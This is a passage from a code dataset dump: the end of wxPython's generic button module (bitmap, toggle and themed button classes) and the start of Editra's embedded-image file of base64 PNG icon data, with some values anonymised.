transparent\n brush = wx.Brush(self.faceDnClr, wx.SOLID)\n return brush\n\n\n def OnLeftDown(self, event):\n if not self.IsEnabled():\n return\n self.up = False\n self.CaptureMouse()\n self.SetFocus()\n self.Refresh()\n event.Skip()\n\n\n def OnLeftUp(self, event):\n if not self.IsEnabled() or not self.HasCapture():\n return\n if self.HasCapture():\n self.ReleaseMouse()\n if not self.up: # if the button was down when the mouse was released...\n self.Notify()\n self.up = True\n if self: # in case the button was destroyed in the eventhandler\n self.Refresh()\n event.Skip()\n\n\n def OnMotion(self, event):\n if not self.IsEnabled() or not self.HasCapture():\n return\n if event.LeftIsDown() and self.HasCapture():\n x,y = event.GetPositionTuple()\n w,h = self.GetClientSizeTuple()\n if self.up and x<w and x>=0 and y<h and y>=0:\n self.up = False\n self.Refresh()\n return\n if not self.up and (x<0 or y<0 or x>=w or y>=h):\n self.up = True\n self.Refresh()\n return\n event.Skip()\n\n\n def OnGainFocus(self, event):\n self.hasFocus = True\n self.Refresh()\n self.Update()\n\n\n def OnLoseFocus(self, event):\n self.hasFocus = False\n self.Refresh()\n self.Update()\n\n\n def OnKeyDown(self, event):\n if self.hasFocus and event.GetKeyCode() == ord(\" \"):\n self.up = False\n self.Refresh()\n event.Skip()\n\n\n def OnKeyUp(self, event):\n if self.hasFocus and event.GetKeyCode() == ord(\" \"):\n self.up = True\n self.Notify()\n self.Refresh()\n event.Skip()\n\n\n#----------------------------------------------------------------------\n\nclass GenBitmapButton(GenButton):\n \"\"\"A generic bitmap button.\"\"\"\n\n def __init__(self, parent, id=-1, bitmap=wx.NullBitmap,\n pos = wx.DefaultPosition, size = wx.DefaultSize,\n style = 0, validator = wx.DefaultValidator,\n name = \"genbutton\"):\n self.bmpDisabled = None\n self.bmpFocus = None\n self.bmpSelected = None\n self.SetBitmapLabel(bitmap)\n GenButton.__init__(self, parent, id, \"\", pos, size, style, validator, name)\n\n\n def GetBitmapLabel(self):\n return self.bmpLabel\n def GetBitmapDisabled(self):\n return self.bmpDisabled\n def GetBitmapFocus(self):\n return self.bmpFocus\n def GetBitmapSelected(self):\n return self.bmpSelected\n\n\n def SetBitmapDisabled(self, bitmap):\n \"\"\"Set bitmap to display when the button is disabled\"\"\"\n self.bmpDisabled = bitmap\n\n def SetBitmapFocus(self, bitmap):\n \"\"\"Set bitmap to display when the button has the focus\"\"\"\n self.bmpFocus = bitmap\n self.SetUseFocusIndicator(False)\n\n def SetBitmapSelected(self, bitmap):\n \"\"\"Set bitmap to display when the button is selected (pressed down)\"\"\"\n self.bmpSelected = bitmap\n\n def SetBitmapLabel(self, bitmap, createOthers=True):\n \"\"\"\n Set the bitmap to display normally.\n This is the only one that is required. If\n createOthers is True, then the other bitmaps\n will be generated on the fly. Currently,\n only the disabled bitmap is generated.\n \"\"\"\n self.bmpLabel = bitmap\n if bitmap is not None and createOthers:\n image = wx.ImageFromBitmap(bitmap)\n imageutils.grayOut(image)\n self.SetBitmapDisabled(wx.BitmapFromImage(image))\n\n\n def _GetLabelSize(self):\n \"\"\" used internally \"\"\"\n if not self.bmpLabel:\n return -1, -1, False\n return self.bmpLabel.GetWidth()+2, self.bmpLabel.GetHeight()+2, False\n\n def DrawLabel(self, dc, width, height, dx=0, dy=0):\n bmp = self.bmpLabel\n if self.bmpDisabled and not self.IsEnabled():\n bmp = self.bmpDisabled\n if self.bmpFocus and self.hasFocus:\n bmp = self.bmpFocus\n if self.bmpSelected and not self.up:\n bmp = self.bmpSelected\n bw,bh = bmp.GetWidth(), bmp.GetHeight()\n if not self.up:\n dx = dy = self.labelDelta\n hasMask = bmp.GetMask() != None\n dc.DrawBitmap(bmp, (width-bw)/2+dx, (height-bh)/2+dy, hasMask)\n\n\n#----------------------------------------------------------------------\n\n\nclass GenBitmapTextButton(GenBitmapButton):\n \"\"\"A generic bitmapped button with text label\"\"\"\n def __init__(self, parent, id=-1, bitmap=wx.NullBitmap, label='',\n pos = wx.DefaultPosition, size = wx.DefaultSize,\n style = 0, validator = wx.DefaultValidator,\n name = \"genbutton\"):\n GenBitmapButton.__init__(self, parent, id, bitmap, pos, size, style, validator, name)\n self.SetLabel(label)\n\n\n def _GetLabelSize(self):\n \"\"\" used internally \"\"\"\n w, h = self.GetTextExtent(self.GetLabel())\n if not self.bmpLabel:\n return w, h, True # if there isn't a bitmap use the size of the text\n\n w_bmp = self.bmpLabel.GetWidth()+2\n h_bmp = self.bmpLabel.GetHeight()+2\n width = w + w_bmp\n if h_bmp > h:\n height = h_bmp\n else:\n height = h\n return width, height, True\n\n\n def DrawLabel(self, dc, width, height, dx=0, dy=0):\n bmp = self.bmpLabel\n if bmp is not None: # if the bitmap is used\n if self.bmpDisabled and not self.IsEnabled():\n bmp = self.bmpDisabled\n if self.bmpFocus and self.hasFocus:\n bmp = self.bmpFocus\n if self.bmpSelected and not self.up:\n bmp = self.bmpSelected\n bw,bh = bmp.GetWidth(), bmp.GetHeight()\n if not self.up:\n dx = dy = self.labelDelta\n hasMask = bmp.GetMask() is not None\n else:\n bw = bh = 0 # no bitmap -> size is zero\n\n dc.SetFont(self.GetFont())\n if self.IsEnabled():\n dc.SetTextForeground(self.GetForegroundColour())\n else:\n dc.SetTextForeground(wx.SystemSettings.GetColour(wx.SYS_COLOUR_GRAYTEXT))\n\n label = self.GetLabel()\n tw, th = dc.GetTextExtent(label) # size of text\n if not self.up:\n dx = dy = self.labelDelta\n\n pos_x = (width-bw-tw)/2+dx # adjust for bitmap and text to centre\n if bmp is not None:\n dc.DrawBitmap(bmp, pos_x, (height-bh)/2+dy, hasMask) # draw bitmap if available\n pos_x = pos_x + 2 # extra spacing from bitmap\n\n dc.DrawText(label, pos_x + dx+bw, (height-th)/2+dy) # draw the text\n\n\n#----------------------------------------------------------------------\n\n\nclass __ToggleMixin:\n def SetToggle(self, flag):\n self.up = not flag\n self.Refresh()\n SetValue = SetToggle\n\n def GetToggle(self):\n return not self.up\n GetValue = GetToggle\n\n def OnLeftDown(self, event):\n if not self.IsEnabled():\n return\n self.saveUp = self.up\n self.up = not self.up\n self.CaptureMouse()\n self.SetFocus()\n self.Refresh()\n\n def OnLeftUp(self, event):\n if not self.IsEnabled() or not self.HasCapture():\n return\n if self.HasCapture():\n self.ReleaseMouse()\n self.Refresh()\n if self.up != self.saveUp:\n self.Notify()\n\n def OnKeyDown(self, event):\n event.Skip()\n\n def OnMotion(self, event):\n if not self.IsEnabled():\n return\n if event.LeftIsDown() and self.HasCapture():\n x,y = event.GetPositionTuple()\n w,h = self.GetClientSizeTuple()\n if x<w and x>=0 and y<h and y>=0:\n self.up = not self.saveUp\n self.Refresh()\n return\n if (x<0 or y<0 or x>=w or y>=h):\n self.up = self.saveUp\n self.Refresh()\n return\n event.Skip()\n\n def OnKeyUp(self, event):\n if self.hasFocus and event.GetKeyCode() == ord(\" \"):\n self.up = not self.up\n self.Notify()\n self.Refresh()\n event.Skip()\n\n\n\n\nclass GenToggleButton(__ToggleMixin, GenButton):\n \"\"\"A generic toggle button\"\"\"\n pass\n\nclass GenBitmapToggleButton(__ToggleMixin, GenBitmapButton):\n \"\"\"A generic toggle bitmap button\"\"\"\n pass\n\nclass GenBitmapTextToggleButton(__ToggleMixin, GenBitmapTextButton):\n \"\"\"A generic toggle bitmap button with text label\"\"\"\n pass\n\n#----------------------------------------------------------------------\n\n\nclass __ThemedMixin:\n \"\"\" Use the native renderer to draw the bezel, also handle mouse-overs\"\"\"\n def InitOtherEvents(self):\n self.Bind(wx.EVT_ENTER_WINDOW, self.OnMouse)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnMouse)\n \n def OnMouse(self, evt):\n self.Refresh()\n evt.Skip()\n\n def DrawBezel(self, dc, x1, y1, x2, y2):\n rect = wx.Rect(x1, y1, x2, y2)\n if self.up:\n state = 0\n else:\n state = wx.CONTROL_PRESSED | wx.CONTROL_SELECTED\n if not self.IsEnabled():\n state = wx.CONTROL_DISABLED\n pt = self.ScreenToClient(wx.GetMousePosition())\n if self.GetClientRect().Contains(pt):\n state |= wx.CONTROL_CURRENT\n wx.RendererNative.Get().DrawPushButton(self, dc, rect, state)\n \n\n\nclass ThemedGenButton(__ThemedMixin, GenButton):\n \"\"\"A themed generic button\"\"\" \n pass\n\nclass ThemedGenBitmapButton(__ThemedMixin, GenBitmapButton):\n \"\"\"A themed generic bitmap button.\"\"\"\n pass\n\nclass ThemedGenBitmapTextButton(__ThemedMixin, GenBitmapTextButton):\n \"\"\"A themed generic bitmapped button with text label\"\"\"\n pass\n \nclass ThemedGenToggleButton(__ThemedMixin, GenToggleButton):\n \"\"\"A themed generic toggle button\"\"\"\n pass\n\nclass ThemedGenBitmapToggleButton(__ThemedMixin, GenBitmapToggleButton):\n \"\"\"A themed generic toggle bitmap button\"\"\"\n pass\n\nclass ThemedGenBitmapTextToggleButton(__ThemedMixin, GenBitmapTextToggleButton):\n \"\"\"A themed generic toggle bitmap button with text label\"\"\"\n pass\n\n\n#----------------------------------------------------------------------\n", "id": "7923889", "language": "Python", "matching_score": 1.350597620010376, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/buttons.py" }, { "content": "###############################################################################\n# Name: ed_image.py #\n# Purpose: Encoded art resources for Editra #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"This file is an image data file that provides some of the base icons\n@note: image data generated with img2py\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: edimage.py 54209 2008-06-14 04:57:51Z CJP $\"\n__revision__ = \"$Revision: 54209 $\"\n\n#-----------------------------------------------------------------------------#\nfrom extern.embeddedimage import PyEmbeddedImage\n\ncatalog = {}\nindex = []\n\nsplashwarn = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAASwAAADICAYAAABS39xVAAAABHNCSVQICAgIfAhkiAAAIABJ\"\n \"REFUeJzsvWmMbdl1HvatPZzpTjW/sedm020O4iDJkqAxkOAEdhQDAZIfTmwEzoAkCPwjiIIg\"\n \"P5IYcaAYsGRBkKzYlixLESHHlKGBhCKZEtUUx261mqTIZotkT+zhdfcbq+pO55w95Mdea99T\"\n \"jyKLMoWnfkptoPBe3Tr33nP22nsN3/rW2gTgN3E2zsbZOBt3wVB/3jdwNs7G2Tgb3+g4U1hn\"\n \"42ycjbtmnCmss3E2zsZdM84U1tk4G2fjrhlnCutsnI2zcdeMM4V1Ns7G2bhrxpnCOhtn42zc\"\n \"NcOcdsHrL7/8HX3bonMOighGawBAjBE+BJRlCe8cYoww1sL1PWxZgpRCDAGkFIL36NsWRARb\"\n \"logxAjHCFgWs1vAhoOt7+L6HMgZaa4QQ8vvlehCBiNLvQP6/sRYEIISAEAJ836Pve/gYURgD\"\n \"W5ZQSsF7D8QIpXW+P/msGAKU1gjewzsHbS36tkXVNOkaImi+l77rELyHrSoE56C0xnw+R2lt\"\n \"vh8ACN6nefIeEUBZlnB9jxACyrqG6zoQEUgpaGPS9w+emwAs53NYa6G0Bojg+x7O+ywHeRal\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"EUENXo8hnNzEg2fzfQ9TFOk9SiEagxgCurZNcx0CtNbpe/ke5DMRIyJviDP5n8n/Tsn/tHHq\"\n \"VYoIkT9MtLXcpFIqaeGBtjcsQNHO8lAggrUWpFSazBBgtEbXdTBsVYuyRO892tUK3nsQWwvw\"\n \"58V0E/<KEY>4HiRiSXD4BmUMSiKAs77bIV7tnrGWnTrdVoAvOjy9/LGIaWwXq2g\"\n \"WanHEKB4wYYYYZRKz0wE79zGavHnGJ6P9IhpU4oXAaSNZozJi1DmmJRKr/EGlcUushgu4Lw5\"\n \"lEpWWr4LQMHfFQZKIM8T/34m/zP530n5nzZOVVgRAMliYG0+1KiOrWG+fjhRSsGLxSBKmjWE\"\n \"7CKLJfMsSK01rNagukbbtvDObb6PJx4sDJkwDP4eeZKDXCv3xPcytCSKF1nXdVBaw3sP731y\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"M2W8RhaOPBuHE3KdWDeZ2zwvty2W4QIUdx4cUkhoFBnryYsvRgQOq7Ks+Ufk/Wchf+ccKSJU\"\n \"o1HGmrTW8Uz+//+Q/zey/08b31DgGAc3Jq6xaHYRvriVsqjCQGvKZBFRxhDESgnAKZPqlEoL\"\n \"hjYAIMTFF5dcLCvwVZgBSSzMVsvwZ8iDijUT17esa6yXS2gGGru2RVlVqNk9dewyO3kGsYr8\"\n \"fX3bJiyAn4vKMoctngHW4Fx27aNz2SuQhS33FWOEEs8BAPF3npDFIAQCkDZLjAkj0Tp5Gre5\"\n \"+IrxFSAtDM3zqHmxKH6PGn62bB6t/8zkz14NaaXgQkAgiiEEUkTxTP5/8eX/jez/08aptAbR\"\n \"lPlf1vriPor7HWNMVpMtlmQOFFtEsZbipgLI4OUQTA0hwLF7r9g6GGNgJOMhC5+F2vd9miye\"\n \"SGNMjpV936PjidHW5s87YcW8R1nX4gFAEcF1HY6Pj9O9DYQh2EGevEGGRj5PEWW8Yd11STgy\"\n \"<KEY>\"\n \"kaCUssYoY4wiIm2KQldVpSndhAop8jiT/19E+f8p9v9p41QPSyZOXFIv2ng4aVpD80LiGcgT\"\n \"13ddnhzvHPrVCtqY5AoOXMe+6/IikActrMViuYQuSxBRchljhNEaRin0Yin5PgO75pq/W2md\"\n \"3FC1AV01g6BDADHGiLosobXGernMQmydQ7tcYjydQhuDVdsiOJczGpK5iQMhiIsuFrpdr+EG\"\n \"1iYDxbwxlQCaIrQQkgchi0VAXAl1brPItiwRvM8/2RsBEIlgtUbnPRx/TsQmk9SLlRuEFrcD\"\n \"2t+0/PuerLVktKZIpGKMSmlNJlnuCKVC33UhOBeFInAm/79A8v9T7v/TBuGUfljXrlz5jqE7\"\n \"HGPMKL+ilOlYrdcAEpdDrBtiTDfKEyGTslouM1Cpjcn8jKEbK24jEaEwBo5jbwKy0P1QkByv\"\n \"A4lrIsCiYnc+hyRaJ9ecEjDrnMv8HKIEkMr14O/y3qcMBr+vZ3BWJtoWBVaLRRa4xOsxRjRV\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"JiMaYzLQKFZvaFVzpmbgLisiBAwyRYPnF4svCxaMU/Tew7M1Favmug4xBOiiyJ8ji1X+lQ3y\"\n \"p5G/63vSCTgnrRT1fa80oLTRqndezbZG6ur1uTo6XuPcbhN8RARRIIAiUcyhy5n870r5f7P7\"\n \"/7RxKoYlLvq675P1UgpFVUFpnYGzGBNpLzD2AADBufz3zPjlLIG4/DT4HsnKAMiclTCwpAAQ\"\n \"kDS1LDJxX0Eb/orgDDlL0/cJD1GbVK/gEs57WH4+WeirtkVg6ygWRX6IEq/Eap1dYiHmec5C\"\n \"FUyKg9wrz8loNAIBKMoSjtP1w2cfPn+IMXkVvGAkyyX3cHsINHThhylxsdqRsQXZaGKFc8pe\"\n \"sm/xJKAr1v0blT+IiJKiUgSoSKS1tRpEOkbore2pfvIzz6u/9d/+FP03P/Jz9NobN1XfdeSc\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"DkuEfAfgxAaQBSPzWlQVIs97u1xu8IdBOJRT54xFyGvfiPy7riOlNRljSGlNSilFRBRJKWuU\"\n \"qppCrZZL9X/8+Afp//6VT2K+6tF3HT73+S/j2979AIVoqCosKVKktY6Szj+T/90h/z/L/X/a\"\n \"OPUKTQSHDbYUvIdngExbm1K2SsEWRbJ0srCAzGPx4qLyyKCj39REgYUl1kaEWWidFgk/dAbq\"\n \"RBgcMwsmIYIL3oMSjpKtEZAYvzKxYiX6rkM9GqGpa6zaNrvKbd+japq8SQBsSjxYmOvlElXT\"\n \"pDKOrsucHKtUivM5W9P2Pawx6HyqQRuCwcPnUcZAMY7iQ8iYjZLFymGJ8JHEIgZeVABO/Cs1\"\n \"ZgKEEpBCK8Z+xFuRlLaPXBYSY84wOf6OLP++T3hSUVBIYVcC1q1VREpFgup6r2aVVtoo+sjH\"\n \"<KEY>\"\n \"<KEY>\"\n \"ZyVBwAlSnixcxfiCFG4CSLVDHM/KTQytjiw6wibkzBkHtqoyYVljDwUcEukMRLDyGgvUSAaH\"\n \"<KEY>\"\n \"lOFywsURN1xwG75H4fgQC1EWoJcMlTyLUidif8+LMCsn3rCRX9dao2katBz2CCAqi1RCniGe\"\n \"EXixU9yUf+j0LMS1aGSMUaYoVCRSFKNSitRk2qgvfvlV+vn3P0X/6oN/jNGowWjrPiyCQfA9\"\n \"RtMGv/NEix/8zmtU1xM1BoIpS+gYEZSKw/txfY/g3AmPyTuHnhUDEcHxfAugK/IRWdPguTKz\"\n \"+m6WP++rYXbRhQDZ/oJ/icKOrDxrriIIMULxdYGNlLwvyz4EeKXu6P4/bZwOuq9WsGWZ2Mes\"\n \"PW+va7qdmzGMq4k26VzJyAjXw4j2Zwwi8ubJWp6FIFoa/F7wNa7v4YCT1f2cmcgu70DbDxnD\"\n \"YAWnrd0UgzqHNcftZV2f8D5OVKknySKGgKKu0a1WeQMMuSWK3WHvPaqiwLrrYLVGy5tEFkDG\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"O7X/TxunKixpodF5n6q2yxKhKCQjBMOov+JsjLSSiDGiappcHJqti/cnmLBDljBviKx8An9n\"\n \"ZEGK+ypcmqHGlolznCkBkL0tN9D2Ur8k17SrVW7f4Z1DFAsAoBSOTNxkTnoOpbRSMGWJlrMm\"\n \"EqtrY3JmKYTUfiPEmMBc7+G0RlkUaNmtlufIwoonU9xSUS/WR+lNdf1zjz1mn/jRH20OJlPY\"\n \"w0NE50CKQPGka4/bDVfM+mjz9zi4bvB/AoGMhi4rmMkYxWyGcmsb1d4uyr09VPsHMAfncOnR\"\n \"BwG1g9/41HP4qV96Ak8/vwb0DOfOTXDPxR10DvjB77oXz710hI88dYi6HGMVPT76mSUePf+K\"\n \"uv6CV/jKC3b15S9j8fzzWL/+Ovr5Asjha+DnphMPEvl3Gj4Lv55CS6Ss2/4+Xlut8Lb/8r9Y\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>qSqsaAOwxhixXi7hvcd4OkXX9ykcYEERETyHZ1KWIKAk2NIQLyJhfYt775xD6HuU\"\n \"xkAXBUpj4n1K462XLuH83/27QNciesdb9WsN0US3a7XBiJtLSSmQ0SBTQNUVVFNDNSOoUfqx\"\n \"swnGezN88vOv4p/+5MfxKx96BaPRCJcunMfBwXlMx4SibFA1W/jKG8Bzr3R48CLhpTdG0LbD\"\n \"zfkahz3hvsuXsH/fPSje8x7Q4RHC8TFC2yYFAg51459ww6LD4uBXAhAJ7K9ATca49sEP4ulP\"\n \"fxqNNtnTiHep/KuyzPCHcw4qpFpK8VykQFtwtSFlAjFmmCB3mFAK5ZB1zoa/KMs/l/3/9cbp\"\n \"GJb3UAOuyAmwl+PqPBmyzkV5sDWQh9QDj4cokQLlvcLMHX5GXpMxZrZwtjAhoHcut+jI+JRY\"\n \"<KEY>gKLmCMSYxfIqy7DlVRYLlYoLAWWiksVys0dZ0WtfcwDKBqa+G8zxZWsI/gfUp1\"\n \"<KEY>\n <KEY>\"\n \"<KEY>\"\n \"DYregboW6B0Q/EZZ/UkK6+sNDotWH/oQFs8+h1lRwvA0CNfrrpQ/f2cIIfGa4gBsD5si5CCR\"\n \"hChcY1BydNLzOiKlcu8qYLPHRTH8ee3/rzVOzxJy/Bm8P+EBRb55DMIrsTwZ6CRCwR0JhxZG\"\n \"AMoMUsrDyg0PXHAJCaVAMwN0A8BZDSfS+6/+nAEwnZUeZ0aIeTQAciMxzVkNudfDw0OMp1MU\"\n \"WuP4+DiRApndO5lMsFyt0Epzt6JAYQw6ziD1bOGG4LEpS1it0Xv/VQs112uFTabPhZCATbHQ\"\n \"nAHTRClDowjtv/k3cB95LFnoP2lfn4gBv8YgAhUWVFZAXYPGI9BsBpptQe3vARcvIhycx+6j\"\n \"9+Ha6wv8yodfwI/97CdwvGwx2znAg5cnOFpqvPRGAJFD6xWsJdx/PqL1JTpXYFYeYdVV+EsP\"\n \"<KEY>\"\n \"<KEY>\"\n \"sdsoNySTSCEkgJfdQhpM2LBIsmMtrolOcEMA5Ja4cqNDoG64t5TWMDIhEtJJZsJvQFVRTJkJ\"\n \"<KEY>\"\n \"UJQlptMpOn5mwRuUtWjbFkvn0NQ11l2XFTGATVlGSFwWO8Aa5Hk1z7sMIgU9qtPrxpyQe966\"\n \"vKfz1o4nryGtQWUBqhvQbAqazkBbM9DODmh3Dzh3gPKeiygv7uMDH30BP/kvHscf/tGLmG3v\"\n \"473fchEeEzx/ZY0QIrSJMNrh0uwGQlBwbQPSBxjXEQ/fW+ILzwf85kcdHrk34MHzGsu5wfNX\"\n \"O5y/p0I/naLY2YE6OgK6Ls1/t0Z0AeRDUlrBD+7/dmV123MhgqoayntQ3+cHj4xD3a3yv53C\"\n \"MCzfyQmnrkvJAuJODhyuyndJ58/8nUTZk5XXhvSJO7H/TxunN/DjLxatLWPYQTFfO7gZeYC+\"\n \"bZOLrFSykoO/hRAQBviTxPASx+eU/UCY8m1ZualBtTq/<KEY>eLGGKFjTBlFtaluFwuT\"\n \"<KEY>\"\n \"kh4sBoAJe7KgJK/<KEY>\"\n \"<KEY>\"\n \"<KEY>h\"\n \"<KEY>fKjb12+ihW8Y2DFluiiEXJR7t8lfDUKrTE4VL0miECBjS1KWpLROYWtM3VANG3Np\"\n \"<KEY>LCqV9/kd2/+njG+op7vEuGH4hbd5LcN/iQjR+696AMtV94G9IcmsiFs6ePI8eYYt\"\n \"g0yshIjEGntYa5UV1fDeBy40iIDApDm36ZHdr9epFqzvYbXGsm0zv8dYi57vRVK/12/exO72\"\n \"NtbMlB4+NxGha9vEiVGpoVtZ1ymdzcDlqGngiwKL+RxW2sKymy4KV8JWP1jUw/B3g9vJDz8z\"\n \"KE0l85FuXwKbbBoBWkMVNnlV0yloewu0tws6OIe4swva28XsvvN4+ajHz/3sk/i/3vck6rLH\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"Sk3TMptXXGeJ6/WmH3XhPbS1KMImlRxCgCnLtKhZqAUR3rh2Dfu7u5ktvW5bFMbAFEUqP+j7\"\n \"BM4qlcFXseadc4gAqqbZtPZQCtH7zNAXIUpzs+ECk8zP<KEY>\"\n \"BWpGKQTc3QXt7QF7+6D9PYwvHcCPRvinv/Z5/Nz7H8czz97E3sFFPHL/Nuoi4PFnjjCrHUrj\"\n \"8dZzb+De/UMcbJeYjC5hUtcYj8fYrmvUiqAi0HqPo+0O53Zv4Nc+1eHmfILLBwWid/jj51d4\"\n \"7WqPD/3hHH/nhyZYuwblZII4GgFVBayWadMI/i7PG4EYOMMG2qzBnAjlzBvrtDTNie3dA3e1\"\n \"/GUND0/oCaxQY4z5NB/Xbw7KkH0m/CcJ0YL3iIKJiZLj1/+89v/XGqeHhGLZBpqZiHIRqmUe\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"567h0p7B9ngfu80EO1YjdD1KRJzTCmMiUPDojcZ2Oca4bvCf/tBN/PonjvCRzxCs0eh7j+A7\"\n \"fPqZQyx+8CKaokBoRtB1DZQlYG2y2PJMgkMBICSjJUorZTxZS2f8gNfXYF17Xid3o/wFwJbO\"\n \"B0O8Vtj7QneQxJVSibHuWOmA93NGCcKGOJrnSbJ/d3j/f71xegM/jl8ds4FtWaLnljPL1Qpt\"\n \"36MZAGcAcgkFcQhm2erIhCxXq5xpGWYMhrVq4v4CKWa3VbVhM6vEK1l3XWIkM84mcTyQygPE\"\n \"ElXsdkt8TpSya13foyyKzCHpGADtui5ldWLMvX7kuTop2WBF2XCL3RAjtmYzlFWFmzduZP6X\"\n \"CEGySnJfxlqsl8t0WstgoYShl8gKe2hFM87xNYQ7YDMAiImaUJUgW6R/<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"7MBxJsD3qdm8nDoSmBQnNypV77PZLH+meFIC7EsIJ6drxBCSqy1C59SqNAkLIXUqzATSts3N\"\n \"/5bLZT7YUvCHIXiv2XLGGBMbmHsYgTEIaa1rjUHbtqlvj/coGGiVwwZWqxVG4zH6tsUb16+j\"\n \"Lgrs7e6iY2vaD4p2hcBqubslgFzy4MXdthaerahYVwF9RbgZLwhfg6fAODxIgYyBqmtgOoOa\"\n \"TUGzKTCdgSYTYGsb2NnG9n3ncX3l8BM/+wTe96tP4uqNNe6/7xIunZ/i+pHC8y9ewevHMzyw\"\n \"dwPf/dbXcf/eMbanW9iZbGG/qrGHiFnfo14u4Y6P8PrVq/BNAzWZwGgNDUCzoTEmgKoCttzH\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"Zh3LQQQ1M/Ffv3oV5/b304LXm2r0W4eH2JrNcPPWLVR1nTouunRAgSbu7z0ANomtE8SjChvW\"\n \"M2kNpXIecJAB5FDI2nRI5XgM2t6G2tsD7e2DdncQpzPorSnKvS2oSYP3/+6X8BP//OP4wvNH\"\n \"GE/28O/+wAN47grhuVfWWKw8mqrEdzz0Ii5vH+LyfolRcxkXplPsFQbbMWK8WqFcLqEXcyyP\"\n \"j9EfHgKc3YPSiVoQAlSfsMSpMSBTgPZ38Xd+WGG1vAkbPEYosO06VGu0EMmuAAAgAElEQVQP\"\n \"fTwH1olwCK0BazaKJ+NYw9AQAEXmaQ3ToBhcieyd9iHAMpZ0t8lf6kWHe0fC19vJ1/JsCgAZ\"\n \"g8ilNiFs+m3FyG2nB5Uk7WqFbr1G1TR3dP+fNr4hpvuy71PrjeUSBbvQvu95c9CJ03JlCLjp\"\n \"<KEY>\"\n \"<KEY>\"\n \"tiTiAUZWnpnARwTD/bqHWVMBRE9gDUCShSKgKKBGTcKmZlPQ1hbU3j7o3D7o3Hn0s22MDrZR\"\n \"zGo8/rkr+N9++nfx2c89i3K0g+98zwPQ5Q7+4OmrqMsIFwu868EjHIxew8GMsDPdx+54hoOm\"\n \"wo42mHiPul3DrlYwqxXiugW6Dr7rEuCtNcia9P+QOFS671EpORxBoZqNcKwi4nqNcQyY9g7V\"\n \"eg3Vdwmr4gQBImf+WDsTh363s7ASED9c/OKJbWgvxqQWLrkY/C6TfyY/y5pmD3SI92amPFLk\"\n \"seIOEbIH5O9SSO36HuvVKpFnB9HHnd7/p41v6FzCGAKOj48xnkyyi7tq29S4n8M3Uiqf3Nq1\"\n \"LYJKdVg+JKZunizWrIgxa1pZSJkFO7j5GGNeEB1T/EklXsl8sUinpPAhliI81/co2AqWEj46\"\n \"lw7nDIkqIf2+1eC+JFSUfkERqX6s4x7WTV0jsnAF5/Bh06N7Pp+nlLVLvYwOj44wnU5xfHyc\"\n \"<KEY>iF3ljAGFDZV8SKbvDG1BpUVFNMT1O4uaHsHtLMD7O+D\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"aeTfeS/FGNH3PdrVKhdsS7mROAUhhKyQC8bbAntA3nv4GFFzFHOn9v9p4xs6l7CqaywXi8zp\"\n \"WCyXqfd1CIiDqvN+IHjEiLbv8031PBmWSWTDm80ZAtowhsVllT5IXirKkVx4VRQoYjyxgXNs\"\n \"TISirlNFedtmz0yxOy34Q+RJKwWI5NYZpihS47J+0xmyKgr0XQfLhaBFUcA7h8IY+BBwxIvT\"\n \"9316fwhYrlaJk+McSrNp8xK8x6rr4JzDZDqFtTZzUobkRbGu4EwSzKZ7o7jbubxkNGZFtQc6\"\n \"2Ic6dw60t4e4tYPi/D6qC7tYKIsf/4Un8P984I/w2i2Dhx84h+lkgtbVeOHVBTw07rvUYL/6\"\n \"Ei5tH2I6arC/fR/OsaLaJoVRDKjbFrbtoNo1qG0R+z7djtZQ1iYP1qQwjqzlXkusWrwH9S4x\"\n \"<KEY>\"\n \"<KEY>\n \"<KEY>\"\n \"<KEY>\"\n \"dX2CbHf1jTdw8eJFzI+PYYsinbiyXKIejVAohRWzh/Ww3UncHEowJAqKRTKTCfT2NtTuDvTB\"\n \"AdT5C1AXL4IuXEA3nWL7nn2sSONXPvYq/tkvfxzPv9rjXX95HzvnG8xm2/DO4eUr1/HAffuo\"\n \"43PY0V/EzqzB3vZFHMy2cFAV2FYa4xBQ9x0K56D7HtR2qUBZwFIyid9VeqCwiedlbeKCIYLI\"\n \"JQycCJEApS2oKBLPqiwQihKuKNDMRmgXLcLVOoWR6xVouUwe2sCDGFIWuGQww3fyMiDhYcjK\"\n \"TXoy9c7BAHel/MUTCT7VIopRV1rD8/0LFULKeww2nlfHe6DrezSjEbxz6PoeNiRqx/DI+Du9\"\n \"/08bpzfw63sUAJbrNWp2iY1SWHFNUuZYxEERMpiIZy0i0tlsxKCeZEIUZ1CATS9o6eUtgDsR\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>cPe+E89ME+1MVLUJcvgS5dBvb3sHNxC5946gp+6deexGNPXMFbHjqP++61\"\n \"+NQzBS5d3MZkVqFqPFRh0B4/i3tnT2H/4F5c3t3HuckYu2WBaQQa71CyotJ9D/Q9yDPDm0mJ\"\n \"iewUQMElZcW4SvawGHeKxCz9qgSNx8B4jFg3aLbGMDtjPPXpV3Df+S1YCnDzOejwCDieA20H\"\n \"GnCxBlTYE8oqDtZ9viIAiXWKLH/ECGvt3Sl/9qqGvpYkY1zfY9V1sEqhHo/R8jmLopBNUeRS\"\n 